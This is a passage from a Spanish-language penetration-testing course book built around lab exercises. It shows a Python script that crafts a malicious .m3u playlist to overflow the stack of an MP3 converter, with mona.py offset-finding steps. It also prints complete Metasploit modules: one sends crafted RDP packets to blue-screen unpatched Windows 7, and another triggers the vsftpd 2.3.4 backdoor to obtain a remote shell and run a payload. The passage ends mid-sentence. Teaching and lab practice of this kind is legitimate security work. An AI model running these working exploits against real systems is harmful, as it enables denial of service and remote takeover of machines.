archivo=open("Playlist.m3u","w")
archivo.write(primeravariable);
archivo.close()

Imagen 32.1: Código en Python.

 Ya estando guardado, corremos el programa con la opción “Run Module” desde el menú
“Run”, mostrando la ejecución correcta, con una nueva “Prompt Line”.

Imagen 32.2: Código compilado.

 Lo que hicimos con esto fué que la primera línea imprima el texto “HackingMexico” 17890
veces, luego al momento de la compilación este script se guardará como un archivo con
extensión “.m3u”, que es el formato del Playlist con el que trabaja el programa vulnerable,
este “Playlist” se encuentra en el lugar donde reside el script de Python:
  Teniendo este Playlist, abrimos el programa vulnerable (Mini-streamRM-MP3Converter) y
desde la opción “Load” ubicaremos el directorio del archivo “.m3u” y cargaremos este
“Playlist”, que en realidad es un script que lleva la instrucción de que al momento de su
ejecución imprimir o mostrar 17890 veces el texto configurado, consiguiendo el “Crashing”
de la aplicación:

Imagen 32.3 y 32.4: Aplicación Detenida.

Hasta este punto hemos conseguido el desbordamiento de la pila gracias al script hecho en
Python, el cual lo hicimos pasar por un supuesto “Playlist” que cargamos al programa,
ocasionando el Overflow. Hecho esto, es momento de pasar a utilizar un Debugger para hacer
un poco de Reversing y comprender de mejor forma que es lo que ocurre en el programa cuando
la pila de este se desborda.
Para esto utilizaremos el Debugger antes mencionado, “Immunity Debugger”. Cabe mencionar
que es recomendable siempre ejecutarlo como administrador, también es importante
mencionar que el directorio de instalación de este Debugger puede variar, lo más común es que
al finalizar la instalación del programa, el lugar en el que resida será en el directorio “C:\Program
Files(x86)\ImmunityInc\ImmunityDebugger”, en este caso debido a la protección antivirus del
equipo, se instaló en el siguiente directorio o “Path”:

Imagen 32.5 y 32.6: Ejecución de Immunity Debugger.

Una vez que lo hayas ejecutado, Immunity Debugger se mostrará de la forma siguiente:

Imagen 32.6: Immunity Debugger.

Una vez dentro, abriremos el Binario que cuenta con la vulnerabilidad de Buffer-overflow, esto
desde el menú “File” mediante la opción “Open” para navegar hacia el directorio en donde reside,
aquí también puede variar el “Path” de instalación, sin embargo, lo común es que se guarde en el
siguiente directorio, (Por obvias razones aparece en el historial del Debugger ya que lo abrí con
anterioridad):

Imagen 32.7: Carga de aplicación vulnerable.

Lo que haremos con este binario será una poco de Reversing hacia este, depurando el código y
mostrándolo en un lenguaje de bajo nivel, esto con la finalidad de identificar qué es lo que está
siendo afectado en el programa, que registros están involucrados en este fallo, y como conseguir
que, gracias a esta nueva información, podamos llevar las cosas un poco más lejos. Está de más
mencionar que deberás tener conceptos esenciales de “Assembler” (Lenguaje ensamblador).
Una vez abierto el binario en el Debugger, este se mostrará de la manera siguiente:
 Imagen 32.8: Panel CPU y sus ventanas en el Debugger.

Antes de que sigamos con esto, hay que aclarar ciertos puntos. Cuando se carga una aplicación
o un binario a Immunity Debugger, este por defecto abrirá un panel nombrado “CPU” que es el que
se ve en la imagen anterior, este está dividido de 4 componentes:

 Dissasembly (Desmontaje): Esta parte está dividida en 4 columnas, en la primera se

puede ver la dirección de memoria o “Memory address”, en la segunda se muestra el
código de operación de la instrucción que se halla en esa dirección, el lenguaje máquina
está hecho con estos códigos de operación, que son lo que el CPU está ejecutando en
realidad. En la tercera columna se encuentra el código ensamblador, y la cuarta es la que
contiene comentarios, estos los produce el Debugger, sin embargo, tu puedes cambiarlos.

 Registers (Registros): Aquí se pueden visualizar todos los registros del CPU y sus valores,
se pueden ver registros de propósito general (General Purpose) los cuales contienen
valores temporales, y también se ven registros para controlar el flujo del programa, también
se pueden ver registros bandera, los cuales el CPU cambia cuando ha ocurrido algo
importante o notorio (como un Overflow).

 Dump (Volcado): Esta ventana muestra la vista hexadecimal del programa completo,
dividida en 3 columnas, la primera muestra la dirección, la segunda los valores que se
hallan en esa dirección, y la última muestra cometarios.
  Stack (Pila): Muestra la locación de memoria a la que apunta el registro “ESP”.

Entendidos los puntos anteriores, es momento de correr el programa sobre el Debugger para
poder interpretar mejor las instrucciones que se llevan a cabo para esta ejecución, para ello
haremos clic en la opción “Run”, al principio verás unos movimientos en las instrucciones e
inmediatamente aparecerá en detención (Paused) el programa, esto lo puedes verificar en la
esquina inferior derecha del Debugger, esto no quiere decir que no funcione correctamente el
programa, si no que las instrucciones de inicio trabajan en fases diferentes, solo basta con hacer
clic en “Run” una vez más. Luego de esto se abrirá el programa, ahora repetirás los pasos
anteriores; cargar el “Playlist” (Script de Python) con extensión .m3u para conseguir el “Crash”:
 Imagen 32.9 – 33.3: Proceso de Debugging y Crashing de la Aplicación.

Como lo habrás notado, la aplicación también se detuvo o hizo “Crash” en el Debugger,

simplemente no se muestra más la parte de “Dissasembly”. Sin embargo, en las partes del
Register y el Stack podrás ver algo peculiar, se trata de los registros ESP y EIP.

El registro ESP (Stack Pointer) apunta a una dirección, la cual contiene como valor “HMex”,
impreso 17890 veces, y EIP, apunta hacia una dirección que es la 4D487865, así como también
en el Stack aparece la misma dirección con el mismo valor:

Imagen 33.4 y 33.5: Identificación de registros afectados, direcciones y valores en ellos.

Con lo anterior ya sabemos cuáles son los registros afectados, cuales son las direcciones de
estos y cuál es el valor que existe en el Stack que se desbordó. Ahora es momento de usar
algo diferente que nos será útil para crear código aún más perjudicial. Se trata de “Mona.py”, esté
es un repositorio que trabaja en conjunto y solamente para Immunity Debugger, funciona como un
“plug-in” que tiene como finalidad el apoyarnos con la escritura de exploits.

Esta herramienta viene incluida en el material de trabajo para este capítulo, dentro de la carpeta
“mona-master” Para que funcione con el Immunity Debugger simplemente deberá agregarse a la
carpeta “PyCommands” que se encuentra en el directorio de instalación del Debugger, solamente
vas copiar el archivo con extensión .py. Una vez colocado tendrás que reiniciar Immunity
Debugger:

Imagen 33.6 y 33.7: Ubicación y colocación de “mona.py”.

Terminado lo anterior, obviamente tendrás que repetir los pases anteriores hasta la parte en donde
vimos los registros ESP e EIP afectados. Luego que retomes el punto anterior, ejecutarás tal cual
lo siguiente en la barra de comandos de Immunity Debugger: !mona pc 17890

Donde:

 !mona: Manda a llamar al plug-in, el signo de exclamación es obligatorio.

 pc: Significa “Pattern create” o crear patrón, simplemente hará eso.
 17890: El número de patrones que deseamos crear.

Al momento de la ejecución aparecerá una nueva ventana con texto en verde neón, indicando el
proceso de la acción ejecutada, así como también muestra detalles sobre lo que solicitamos, como
lo es el tiempo de compilación y el nombre del archivo de salida (output), que es “pattern.txt”
El renglón con caracteres más largo que vemos es el patrón de 17890 bytes que solicitamos crear,
también veremos una nota en color rojo indicando algo importante, indica que no es
recomendable copiar el patrón desde ahí mismo en el Debugger, ya que puede aparecer
cortado, por lo que habrá que copiarlo directamente desde el archivo de salida con extensión
.txt, este reside en el directorio de instalación de Immunity Debugger.

Imagen 33.8 y 33.9: Proceso de comando de mona.py y .txt generado.

Una vez que tengas ubicado el archivo, lo abrirás y copiarás todo el patrón fue generado con
mona.py desde el Debugger y harás el siguiente cambio en el código del primer script de Python,
en donde reemplazarás el texto “HMex” por el patrón que copiaste, al final del texto a imprimir
indicarás que quieres esa impresión 2 veces (*2), guardarás los cambios y ejecutarás el script:

Imagen 34.0 y 34.1: Patrones aleatorios y su adjunto al código de Python.

Una vez que hayas finalizado todo lo anterior, desde el Debugger reiniciarás el programa, desde
el menú “Debug” mediante la opción “Restart”, al hacer esto nos arrojará un aviso acerca del
proceso que actualmente se está corriendo con este programa, indicando que no se podrá limpiar
el Workspace y no se podrán guardar cambios si se realiza esto, diremos que sí.

Imagen 34.2: Reinicio del programa.

Una vez que demos el SI, se restablecerán las 4 ventanas que constituyen el panel de CPU.
Repetirás los mismos pasos que van desde el inicio de programa en el Debugger hasta la
selección y carga del “Playlist” que en este caso se trata del script en Python que trae los patrones
creados con mona.py.

Una vez cargado, verás que la aplicación tendrá de nuevo un “Crash”, siendo este un Overflow
ocasionado por el código proporcionado.
En la ventana de Registers y Stack verás que ahora abundan los caracteres aleatorios que fueron
sacados del archivo “pattern.txt”, así como también podrás notar que el registro ESP apunta a
una dirección con datos (Caracteres aleatorios), esta dirección también se encuentra en la
ventana de Stack:

Imagen 34.3 y 34.4: Aplicación desbordada, caracteres aleatorios y valores en registros.

Ahora que conseguimos este nuevo “Overflow”, haremos unos nuevos cambios gracias a la
dirección obtenida por el registro EIP, que en este caso se trata de “57316157”, esta dirección la
proporcionáremos como referencia para una nueva instrucción para “mona.py”, para esto se
ejecutará el comando “Pattern offset” o “po”, seguido de la dirección EIP. Ejecutando el comando
con la sintaxis siguiente: !mona po “Dirección EIP”.

Al hacerlo, se mostrará el proceso de ejecución del comando, indicándonos que ha encontrado

un patrón en una posición cíclica, siendo esta en este caso 17163:

Imagen 34.5: Proceso del comando “Pattern Offset” por “mona.py”.

Este número que nos arrojó el Debugger lo usaremos para añadirlo al script y hacer cambios en
este. Esto con el fin de ocasionar de nuevo la detención del programa, sin embargo, verificaremos
los nuevos resultados que se mostrarán en el Debugger. Al código de Python le añadiremos 3
líneas nuevas y modificaremos la primera y la penúltima, quedando de esta forma:
primeravariable= "HMex"

punch= "PS"*17163

dirEIP= "EIP"

punch2= "HM"*2846

archivo=open("Playlist.m3u","w")

archivo.write(primeravariable+punch+dirEIP+punch2);

archivo.close()

Imagen 34.6: Nuevo código.

Hecho esto, guardarás los cambios, ejecutarás el código, reiniciarás el programa en Immunity
Debugger, lo correrás de nuevo y cargarás este script como un nuevo “Playlist”:

Imagen 34.7 – 35.0: Compilación del código, reinicio del programa, y nuevo desbordamiento de pila.
Al conseguir el desbordamiento, veremos en la ventana de “Registers” la dirección a la que apunta
el registro EIP, que es la 484D84D, si verificamos a detalle la ventana “Stack”, podremos ver que
en ella se encuentran los valores proporcionados en el código de Python, apuntando las
direcciones hacia el valor “HM”, que es el referente al registro EIP con dirección 484D484D,
también vemos el valor “EIP” y “PS” proporcionados en el script, cada uno apuntando a direcciones
diferentes, viéndose de la siguiente manera:

Imagen 35.1: Direcciones y Valores mostrados en Ventana del “Stack”

Hasta ahora se ha demostrado de diferentes maneras como se puede conseguir el “Crash” o

detención de una aplicación o programa mediante el desbordamiento de la pila o “Stack” que se
encuentra en el código de este. Ahora, es momento de llevar las cosas algo más allá, en donde
lejos de cerrar un programa al aprovecharse de la vulnerabilidad con la que cuenta, poder
conseguir el “Crashing” total de un sistema Windows, también mediante el código que verás en
las siguientes páginas.

Existe un detalle más, como la vulnerabilidad de la que te vas a aprovechar funciona mediante un
servicio de Windows (Remote Desktop Service), aquí no podrás buscar un file que contenga código
malicioso y abrirlo, ni harás un script con caracteres aleatorios, ni tampoco harás Reversing o
Debugging del programa. Ahora con el código antes mencionado, lo exportarás hacia los
repositorios de Metasploit, creando así tu propio módulo para que después te apoyes del
Framework para poder usar este bloque de código a su modo de Metasploit, y después conseguir
el Denial of Service, y para esto… existe todo un proceso que seguir, antes de ello, es importante
que sepas unas cosas acerca de crear tu propio módulo en Metasploit.
Formulación de tu primer Auxiliary.

Como pentester, es importante que sepas que se habrá ocasiones en las que tendrás las buscar
la manera de perjudicar ciertos recursos informáticos debido a que no cuentas con los medios para
conseguir este fin, como lo es algún exploit o auxiliar para atacar algo, por lo que tendrás que
compilar código por tu cuenta y posteriormente añadirlo al Framework para probar su eficacia.

Al iniciar con esto doy por hecho que estas familiarizado con algo de programación o puedes
comprender lo que hace cada línea del código, así como también has entendido lo que implica una
vulnerabilidad “Buffer Overflow”.

El siguiente escenario te encontrarás con una máquina virtual que cuenta con Windows 7, esta
trae consigo una versión vulnerable de del RDP (Remote desktop protocol), la cual afecta al
servicio de escritorio remoto de Windows, siendo también un overflow. Con el siguiente código,
conseguirás explotar esta vulnerabilidad y así mismo la adición de este a Metasploit, a pesar de
que este código tiene la función de explotar esta vulnerabilidad, se le asignará al módulo
“Auxiliary”, ya que la sintaxis para uso de código en Metasploit establece que se necesita un
payload para poder hacer uso de la librería “Exploit”, por lo que se quedará como un “auxiliar”,
aunque resulte igual de perjudicial que un exploit, para los exploits siempre debe de existir
un bloque de información acerca de un payload, si no existe tal, se le considera un Auxiliar..

Elaboración de tu primer módulo en Metasploit.

Bien, la creación de un módulo en Metasploit te puede resultar relativamente fácil, obviamente si

ya tienes alguna habilidad programando o al menos entiendes lo que hacen las líneas de un
determinado código. Para ello, tendrás que programar o “codear” ciertas cosas para que esto
funcione bien. Nuestra primera aproximación de este tipo será con un código que estará hecho en
Ruby. Como la mayor parte de la arquitectura de Metasploit está hecha en base a, vamos a trabajar
sobre un código en este lenguaje.
¿Qué es un módulo en Metasploit?

Metasploit cuenta con un extenso repositorio de scripts, encoders, exploits, etc. Estos van por
categorías y clasificaciones, dependiendo el uso que se les vaya a dar, en singular, un módulo es
el lugar en donde se encuentra un bloque de código que funciona con Metasploit, ya sea cualquiera
de los tipos de repos antes mencionados, pero para que un módulo funcione bien debe tener cierta
sintaxis el código para que Metasploit lo tome en cuenta, por ello es importante la sintaxis de esta
acción en el código antes mencionado.
¿Qué es lo que haremos para lograr explotar esta vulnerabilidad?

Si una Máquina Windows no ha sido “parchada” con KB2671387, es susceptible a un ataque de

Denegación de Servicio (DoS), en donde un atacante puede inhabilitar él equipo y formar la famosa
Pantalla Azul de Muerte (BSOD). Como se mencionó en el equipo Windows 7 se halla una versión
vulnerable del servicio de escritorio remoto de Windows, (Remote Desktop Service), el fallo de
seguridad de esta consta en que hacia este servicio se envíen peticiones o “requests” medidas
en bytes (210 es lo común), ocasionando un desbordamiento del “Stack” o pila de este programa,
la pequeña gran diferencia es que este programa no va a simplemente cerrarse al momento del
“Overflow”, hará que ocurra un error interno a nivel kernel ocasionado la famosa “Blue Screen Of
Death”, ya que sabemos esto, es momento de comenzar.

Parrot cuenta con un editor de texto bastante bueno, se trata de “Pluma”, este podemos abrirlo
desde una consola:

Imagen 35.2: Comando de “pluma”.

Sabiendo todo lo necesario, usaremos el siguiente código para para crear nuestro Auxiliary para
Buffer Overflow:

NOTA: Este código también vine incluido en me material de trabajo referente a este capítulo.

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})

super(update_info(info,
'Nombre' => 'BufferOverflow_Win7_RemoteDesktopService',
'Description' => %q{
Exploit que genera un Crash del sistema debido a las peticiones generadas hacia el servicio RDP.
},

'Autor' =>
[
'Tu_Nombre'
],
'Tipo de uso' => MSF_LICENSE,

))
 register_options(
[
Opt::RPORT(3389)
], self.class)
end

def si_el_servicio_esta_funcional
begin
connect
disconnect
return true
rescue Rex::ConnectionRefused
return false
rescue Rex::ConnectionTimeout
return false
end
end

def run
tercer_overflow = "\x02\x01\xff"

pkt = ''+
"\x03\x00\x00\x13" + # TPKT: version + length
"\x0E\xE0\x00\x00" + # X.224 (connection request)
"\x00\x00\x00\x01" +
"\x00\x08\x00\x00" +
"\x00\x00\x00" +
"\x03\x00\x00\x6A" + # TPKT: version + length
"\x02\xF0\x80" + # X.224 (connect-initial)
"\x7F\x65\x82\x00" + # T.125
"\x5E" +
"\x04\x01\x01" + # callingDomainSelector
"\x04\x01\x01" + # calledDomainSelector
"\x01\x01\xFF" + # upwardFlag
"\x30\x19" + # targetParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # minimumParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # maximumParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x04\x82\x00\x00" + # userData
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x0C" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x38\x00\x06\x03" + # T.125
"\xF0" +
"\x03\x00\x00\x09" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x21\x80" # T.125

unless si_el_servicio_esta_funcional
print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida")
return
end

connect
print_status("#{rhost}:#{rport} - Enviando #{self.name}")
sock.put(pkt)
Rex.sleep(3)
disconnect
print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes enviados")

print_status("#{rhost}:#{rport} - Verificando la situacion, un segundo")

if si_el_servicio_esta_funcional
print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida")
return
else
print_good("#{rhost}:#{rport} Buen trabajo, esta inhabil")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} Desbordamiento conseguido hacia el servicio RDP"
})
end

end

end
Al comienzo del bloque de código podemos ver algo acerca de Metasploit, en donde nos topamos
con las líneas encargadas de que el Framework reconozca este código como un módulo funcional,
gracias a la sintaxis siguiente:

Imagen 35.3: Librería “core” y clase “MetasploitModule”.

En donde de la línea 1 a la 8:

 require ‘msf/core’: La librería “core” provee los fines con los que se quiera utilizar el
framework, ya sea un enconder, un exploit, un auxiliar, un post, etc.
 class: Indicará las categorías en las que se hallará el módulo.

Después de la línea 9 a la 29 especificamos la descripción acerca módulo que se verá en el

Framework, así como el puerto que vendrá por default, que es el 3389:

Imagen 35.4: Descripción de módulo y config. de puerto.

En el segmento de líneas 30 a la 45 nos encontramos con unos condicionales, en donde se

establecen las acciones a llevarse a cabo en caso de que el Host remoto responda o no:

Imagen 35.5: Condicionales acerca de la respuesta por parte del Host Vulnerable.
Ahora de la línea 46 a la 117, nos encontraremos con un ShellCode, que es el código que realizará
la acción perjudicial sobre el host remoto, ocasionando el desbordamiento de la pila o “Stack” de
este servicio:

Imagen 35.6: Bloque de ShellCode.

Y, por último, de la línea 118 a la 149 nos encontramos con un último condicional relevante a la
respuesta del Host remoto, así como también el bloque de código desde “connect” hasta
“print_good”, que es en donde se lleva a cabo el proceso de establecer la conexión una vez enviado
el “ShellCode”, mostrando mediante diferentes comentarios que hace cada línea o bloque. Al último
vemos en “report_vuln” las variables con las que trabaja el Módulo, que como ya aprendiste en el
nivel COISP 1, en Metasploit se trata de “info”, “RHOST”, “RPORT”, “NAME”, etc.

Imagen 35.8: Condicionales y parámetros de funcionalidad.

Una vez que esté terminado este código lo guardarás con el nombre de tu preferencia y con
extensión “. rb” que es la de “Ruby”. Hecho esto, deberá aparecerte el archivo con el ícono de un
Ruby, ahora este archivo lo trasladarás hacia este directorio, que es en donde reside el Framework
de Metasploit y sus repositorios, ya sea que lo ubiques por consola o por interfaz gráfica, y dentro
crearás un nuevo directorio en donde guardarás este código hecho en Ruby. Es recomendable
que no se coleen tus módulos con los ya existentes:

Imagen 35.9 y 36.0: Directorios de repos de Metasploit y módulo guardado.

Ahora qué ya tienes todo listo, es momento de que inicies el Framework de Metasploit, y como
ya sabes también, primero hay que inicializar el servicio de la base de datos de la que
depende principalmente Metasploit, PostgreSQL. En estas nuevas versiones de Parrot la forma
de iniciar el servicio ha cambiado, ahora se usa “systemctl”, que también tiene una sintaxis muy
simple, ejecutaremos los 2 siguientes comandos para iniciar de forma correcta el Framework:

 systemctl start postgresql y msfconsole:

Imagen 36.1: Inicio de servicio de BD, revisión e inicio de Metasploit.

Una vez iniciado el Framework simplemente entraremos al módulo que acabas de crear, la manera
o comando para entrar esta demás mencionarlos. Una vez ahí, configuraremos el módulo con las
opciones requeridas, para esto hacemos uso del comando “Show options” para ver los
parámetros de configuración de este módulo, en donde vemos que se trata de las variables
RHOST en donde irá la IP de maquina victima (192.168.42.33 en este caso) y RPORT (3389 que
ya está configurado por default):

Imagen 36.2: Parámetros de conf. del módulo

Solo basta con agregar al parámetro de configuración “RHOST” la dirección IP y ejecutar el módulo
con el comando “run”, poniendo a trabajar el código en Ruby y ocasionando lo siguiente en
Windows, mostrando el “BSOF” antes mencionado, recolectando información acerca de lo
sucedido:

Imagen 36.3: Ejecución del módulo y resultados de este.

Formulación de exploit para servidores FTP.

Es común que los usuarios busquen la manera de transferir archivos entre diferentes equipos
dentro de una red local, para ello suelen emplear un servidor FTP, el cual les permite o facilita
lo antes descrito. Por el significado de su acrónimo (File Transfer Protocol), es un protocolo
utilizado para la transferencia de archivos entre computadoras e internet, y por obvias razones
estos pueden contener información, ya sea importante o no.
Habrá ocasiones en las que nos encontremos con servidores FTP qué aún conservan las
configuraciones por default al momento de la instalación de los mismos, o no han sido configurados
de la forma correcta, dejándolos a la deriva, esperando a que alguien encuentre la forma de poder
perjudicarlos, ya sea con la detención del servicio que ofrecen estos, o algo más comprometedor
como la ejecución de un payload sobre este, en donde lejos de causar un desbordamiento de pila,
podrás conseguir una Shell interactiva sobre el sistema remoto.

Después de habernos ensuciado las manos un poco con el código anterior en Ruby para conseguir
un DoS, es momento de hacer algo más perjudicial. La aproximación que haremos constará en
aprovecharse de una vulnerabilidad con la que cuenta el servidor FTP que existe en nuestra red,
el cual será Metasploitable 2, la cual consta de la existencia de malware en él, ahora nuestro
trabajo es invocar a este mediante la inyección de un payload, el cual establecerá la conexión con
el mismo y así será como conseguiremos la Shell antes descrita sobre el sistema.
¿Qué es Metasploitable?

Es un recurso informático (una máquina virtual en este caso) que fue creada por el mismo equipo
de desarrollo de Metasploit, esta VM hecha en Linux cuenta con diferentes vulnerabilidades
escondidas o distribuidas en el sistema, esperando a ser descubiertas y atacadas. Por ello,
Metasploitable 2 (versión que usaremos) una máquina virtual que es utilizada para llevar a
cabo pruebas, capacitaciones en seguridad, probar herramientas o técnicas para
pentesting.

Esta VM está disponible para ambos ambientes de virtualización (VMware y Virtual Box), la razón
por la que no se utilizó la versión 3 de Metasploitable es debido a que oficialmente no está
disponible para VMware, por lo que usaremos la VM con versión anterior, la cual viene incluida en
el material proporcionado referente a este capítulo, aunque también puedes descargarlo desde el
siguiente enlace:
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
¿Qué necesitarás para este ejercicio?

 Parrot Security OS, cualquier versión, en este caso usaras la 3.4 proporcionada.
 Metasploitable 2
 Ambas VM deberán tener configurado el adaptador de red en modo NAT.

Al abrir el archivo .vmx de Metasploitable 2, se mostrará la siguiente descripción acerca de la

máquina virtual en VMware, en donde podemos ver que se proporciona un usuario y password
para el Loggeo en Metasploitable 2, siendo ambos “msfadmin” :

Imagen 36.4: Metasploitable 2 en VMware.

Estando listas ambas VM’s, las encenderemos y posteriormente nos loggearemos en cada una,
en Parrot el usuario y password son “root y toor”, las de Metasploitable 2 ya sabes cuales son.

Imagen 36.5: Metasploitable en función.

Ambas máquinas virtuales ya están en función, el atacante y la víctima, ya sabemos que
Metasploitable 2 o el servidor FTP se encuentra en el mismo segmento de red que nosotros, solo
falta saber su identidad, con esto nos referimos a un número distintivo con el que cuentan todos
los dispositivos conectados a una red, obviamente se trata de la dirección IP. Para esto haremos
uso de una herramienta llamada “Sparta”, esta sirve para llevar a cabo tareas de
Reconnaissance, Network Fingerprinting o Information Gathering, esto nos servirá para
identificar al servidor FTP en nuestra red y obtener más detalles sobre él.
Podemos iniciar “Sparta” desde el menú “Applications”, en “Parrot”, “Information Gathering”,
“Network Identifiers”, “Sparta” o desde una terminal ejecutando el comando “sparta”, en donde
una vez abierto utilizaremos la acción “Scan”, durante el proceso veremos que se enlistarán
diferentes Hosts, mientras que en la barra inferior indica el puerto sobre el que se está llevando a
cabo la acción de escaneo y la herramienta por la que está pasando, (una de varias durante el
proceso) en este caso es Nikto.
*En el libro y certificación COISP Nivel 1 se toca más a detalle el uso de Nikto:

Imagen 36.6 y 36.7: Inicio de Sparta y escaneo de la Red.

Durante el escaneo, algo que quizás notes es que se lleva a cabo una acción llamada
“Screenshot”, lo que hace esta es tomara una captura de pantalla (si es posible) del host remoto,
esto con la finalidad de facilitarnos la tarea de identificar a un Host en específico, esta acción
se puede mostrar en la barra de progreso, indicando el puerto sobre el que opera, el host sobre
el que está trabajando, fecha, hora y estatus. En este ejemplo nos indica que sobre el host
192.168.42.139 se está llevando a cabo esta acción, para verificar esta captura realizada
pasaremos a la pestaña “Tools” para revisar lo anterior, en donde veremos lo siguiente:
 Imagen 36.8 y 36.9: Identificación de Host Metasploitable 2 y acción de Screenshot.

Gracias a la función antes descrita, ya sabemos que el host 192.168.42.139 se trata de

Metasploitable 2 (En este ejemplo), sabiendo esto es momento de pasar a hacerle
exclusivamente a este un Fingerprinting un poco más riguroso. También verás que, al finalizar
el escaneo de la red, se mostrara un icono identificador para cada sistema encontrado (Hosts), en
este caso se trata de un Linux, haremos clic derecho en el host correspondiente a Metasploitable
2 y seleccionaremos la acción “Portscan” para usar la penúltima opción, que incorpora el uso de
Nmap con perfil “Quick Scan Plus” dentro de esta herramienta. Durante el proceso del
Fingerprinting veremos que entre los puertos abiertos esta el 21, que es donde corre el protocolo
FTP con versión vsftpd 2.3.4, de la cual nos aprovecharemos y conseguiremos a explotar:

Imagen 37.0 y 37.1: Uso de Nmap en Sparta y Fingerprinting del Host Metasploitable 2.
Antes de continuar es importante saber de qué es lo que exactamente estamos por aprovecharnos
o por explotar.

El servidor FTP antes descrito, dispone de actualizaciones descargadas que cuentan con una
vulnerabilidad bastante crítica, esta consiste en que dentro de los repos de dichas actualizaciones
se halla un malware que es activado (Triggered) o puesto en función mediante el apoyo de
un payload, el cual vendrá dentro de nuestro exploit, ya que cómo se sabe, los exploits para ser
considerados tal cuales requieren de un bloque de información referente a un payload, con lo
anterior entendido, al momento de que el malware y el payload se encuentren, obtendremos una
Shell que estará en función en el puerto 6200 del sistema Linux.

Para esto, usaremos el siguiente código, que también está hecho en Ruby del cual estarás
familiarizado con algunas cosas:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,
'Nombre' => 'VSFTPD v2.3.4 Backdoor Command Execution',
'Info' => %q{
Este exploit se aprovecha de la vulnerabilidad de backdoor existente en servidor FTP en Metasploitable2
},
'Autor' => [ 'Tu', 'TuPC' ],
'Licencia' => MSF_LICENSE,
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'Fecha de Creacion' => 'D1a del Curs0',
'DefaultTarget' => 0))

register_options([ Opt::RPORT(21) ], self.class)

end
# Despues de esta linea comienzan los condicionales correspondientes a cada caso
def exploit

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil

if nsock
print_status("Puerto a la escucha abierto")
handle_backdoor(nsock)
return
end

connect

banner = sock.get_once(-1, 30).to_s

print_status("Banner o mensaje: #{banner.strip}")

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")

if resp =~ /^530 /
print_error("Las medidas de seguridad han cambiado, conexion no establecida")
disconnect
return
end

if resp !~ /^331 /
print_error("Este servidor no funciona como lo esperabas: #{resp.strip}")
disconnect
return
end

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil

if nsock
print_good("Conexion establecida con el malware...")
handle_backdoor(nsock)
return
end

disconnect

end

def handle_backdoor(s)

s.put("id\n")

r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("Shell no conseguida :(")
disconnect(s)
return
end

print_good("IDUsuario: #{r.strip}")

s.put("nohup " + payload.encoded + " >/dev/null 2>&1")

handler(s)
end
end
El código anterior es el qué constituirá nuestro exploit o módulo en Metasploit, a continuación, se
te explicará cómo es que funciona este:
IMPORTANTE: Independientemente de que dentro del material de trabajo para este libro se te
proporcione el código de los auxiliaries o exploits, si no estás familiarizado con el “codeo” o no tienes
la suficiente destreza programando debes de tomarte unos minutos y leerlos, no te será demasiado útil
lo anterior si en estos ejercicios solo haces copy-paste, de lo contrario… ¿Cómo sabrás que es lo que
está por ocurrir?

El código anterior será el encargado de conseguir nuestra Shell sobre el host remoto, que es el
servidor FTP vulnerable. Algo que de seguro notaste, es que este nuevo código consta de casi 50
líneas menos, como ya sabes, esta vulnerabilidad consta en invocar al malware desde la ejecución
del payload antes mencionado, por lo que resulta una parte más corta al momento de “codear” el
exploit, aunque se trate de dos plataformas diferentes (Windows/Linux), también resulta más
perjudicial que el exploit o código del ejercicio anterior.
Como se ejemplificó en el ejercicio anterior, deberás de seguir los mismos pasos para compilar tu
